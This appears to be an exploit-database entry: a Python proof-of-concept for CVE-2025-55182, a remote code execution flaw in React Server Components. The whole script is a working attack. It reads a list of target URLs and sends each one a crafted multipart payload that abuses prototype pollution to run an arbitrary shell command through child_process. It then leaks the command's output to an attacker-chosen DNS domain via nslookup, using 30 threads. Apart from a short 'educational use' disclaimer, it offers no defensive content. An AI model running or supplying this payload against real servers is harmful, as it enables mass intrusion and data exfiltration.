📄 React Server 19.2.0 Remote Code Execution

# Exploit Title:  React Server 19.2.0 - Remote Code Execution
    # Date: 2025-12-05
    # Exploit Author: [EynaExp] (https://github.com/EynaExp)
    # Vendor Homepage: https://react.dev
    # Software Link: https://react.dev/reference/rsc/server-components
    # Version: [19.0.0, 19.1.0, 19.1.1, 19.2.0]
    # Tested on: Windows,Linux
    # CVE : CVE-2025-55182
    
    
    
    
    import requests
    import urllib3
    from concurrent.futures import ThreadPoolExecutor, as_completed
    import argparse
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    # Color definitions
    class Colors:
        RED = '\033[91m'
        GREEN = '\033[92m'
        YELLOW = '\033[93m'
        BLUE = '\033[94m'
        END = '\033[0m'
    
    
    print("""
                ███████╗██╗   ██╗███╗   ██╗ █████╗ ███████╗██╗  ██╗██████╗ 
                ██╔════╝╚██╗ ██╔╝████╗  ██║██╔══██╗██╔════╝╚██╗██╔╝██╔══██╗
                ██║      ╚████╔╝ ██╔██╗ ██║███████║█████╗   ╚███╔╝ ██████╔╝
                ██║       ╚██╔╝  ██║╚██╗██║██╔══██║██╔══╝   ██╔██╗ ██╔═══╝ 
                ╚███████╗  ██║   ██║ ╚████║██║  ██║███████╗██╔╝ ██╗██║     
                ╚══════╝  ╚═╝   ╚═╝  ╚═══╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝╚═╝     
    
                        CVE-2025-55182 Proof of Concept
    				by EynaExp
                       GitHub: https://github.com/EynaExp
    """)
    print(f"{Colors.RED}Disclaimer:\nThis tool is released for EDUCATIONAL and AUTHORIZED TESTING purposes only.\nThe author is not responsible for any misuse or damage caused by this program.{Colors.END}")
    
    
    
    
    
    class NoUsageParser(argparse.ArgumentParser):
        def error(self, message):
            # completely suppress argparse usage
            print(f"Error: {message}")
            raise SystemExit(1)
    
    parser = NoUsageParser(description="EynaExp Scanner")
    
    parser.add_argument('-d', required=True)
    parser.add_argument('-l', required=True)
    parser.add_argument('-c', required=True)
    print(f"{Colors.GREEN}\n[+]APP USAGE :\n[-d] <DNS(without http/s)>\n[-l] <Targets file path(url wordlist)>\n[-C] <Command>{Colors.END}\n")
    
    
    
    args = parser.parse_args()
    
    
    
    dns_endpoint = args.d.strip()
    targets_file_path = args.l.strip()
    CMD = args.c.strip()
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
        "Next-Action": "x",
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
    }
    request_body = (
        "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        "Content-Disposition: form-data; name=\"0\"\r\n\r\n"
        "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,"
        "\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\","
        "\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('nslookup `"+CMD+"`."+dns_endpoint+"');\","
        "\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n"
        "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        "Content-Disposition: form-data; name=\"1\"\r\n\r\n"
        "\"$@0\"\r\n"
        "------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"
    )
    
    def send_request(target_url):
        try:
            response = requests.post(target_url, headers=headers, data=request_body, timeout=10, verify=False)
            result_message = f"{Colors.GREEN}[+] {target_url} -> {response.status_code} ({len(response.content)} bytes){Colors.END}"
            
            for header_key in ["x-action", "next-action", "rsc"]:
                if header_key in response.headers:
                    result_message += f"\n{Colors.BLUE}    header match: {header_key} = {response.headers.get(header_key)}{Colors.END}"
    
            return result_message
    
        except Exception as exception:
            return f"{Colors.RED}[-] {target_url} -> error: {exception}{Colors.END}"
    
    with open(targets_file_path) as file_handle:
        target_urls = [line.strip() for line in file_handle if line.strip()]
    
    print(f"{Colors.YELLOW}[*] Loaded {len(target_urls)} targets — starting multi-thread scan...{Colors.END}\n")
    with ThreadPoolExecutor(max_workers=30) as executor:
        futures = {executor.submit(send_request, url): url for url in target_urls}
    
        for future in as_completed(futures):
            print(future.result())